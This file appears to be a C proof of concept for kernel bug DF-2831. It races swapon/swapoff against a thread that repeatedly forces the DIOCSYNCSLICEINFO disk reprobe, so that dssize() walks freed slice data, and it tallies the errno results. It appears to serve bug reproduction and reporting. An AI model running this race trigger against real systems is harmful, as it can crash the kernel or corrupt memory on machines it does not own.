DF-2831 / poc2831.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | /* * DF-2831 PoC: race swapon(2) (-> swaponvp -> dev_dpsize -> dssize(), which * walks dp->d_slice with NO ds_token, subr_diskslice.c:849-870) against a * forced-reprobe hammer (DIOCSYNCSLICEINFO arg=1 on the whole-disk node, * which makes disk_msg_core disk_probe() replace + dsgone() the struct * diskslices that dssize is walking). * * usage: poc2831 <wholedisk> <swapdev> <iterations> <hammer:0|1> */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <pthread.h> extern int swapon(const char *); extern int swapoff(const char *); #ifndef DIOCSYNCSLICEINFO #define DIOCSYNCSLICEINFO _IOW('d', 112, int) #endif static volatile int stop; static const char *g_disk; static void *hammer(void *arg) { int fd = open(g_disk, O_RDWR); long n = 0, ok = 0, ebusy = 0, oth = 0; int one = 1; if (fd < 0) { perror("[hammer] open wholedisk"); return NULL; } while (!stop) { if (ioctl(fd, DIOCSYNCSLICEINFO, &one) == 0) ok++; else if (errno == EBUSY) ebusy++; else oth++; n++; } fprintf(stderr, "[hammer] %ld DIOCSYNCSLICEINFO: %ld ok, %ld EBUSY, " "%ld other\n", n, ok, ebusy, oth); close(fd); return NULL; } int main(int argc, char **argv) { const char *disk, *swap; long iters, i; long ok = 0, enxio = 0, ebusy = 0, enoent = 0, einval = 0, oth = 0; pthread_t th; if (argc != 5) { fprintf(stderr, "usage: %s <wholedisk> <swapdev> <iters> <hammer>\n", argv[0]); return 2; } disk = argv[1]; swap = argv[2]; iters = atol(argv[3]); if (atoi(argv[4])) { g_disk = disk; if (pthread_create(&th, NULL, hammer, NULL) != 0) { perror("pthread_create"); return 2; } usleep(100000); } for (i = 0; i < iters; i++) { if (swapon(swap) == 0) { ok++; if (swapoff(swap) != 0) { fprintf(stderr, "iter %ld: swapoff: %s\n", i, strerror(errno)); break; } } else { switch (errno) { case ENXIO: enxio++; break; /* dssize() == -1 signature */ case EBUSY: ebusy++; break; case ENOENT: enoent++; break; case EINVAL: einval++; break; default: oth++; fprintf(stderr, "iter %ld: swapon: %s\n", i, strerror(errno)); break; } } } stop = 1; if (atoi(argv[4])) pthread_join(th, NULL); printf("RESULT iters=%ld ok=%ld ENXIO=%ld EBUSY=%ld ENOENT=%ld " "EINVAL=%ld other=%ld\n", iters, ok, enxio, ebusy, enoent, einval, oth); return 0; } |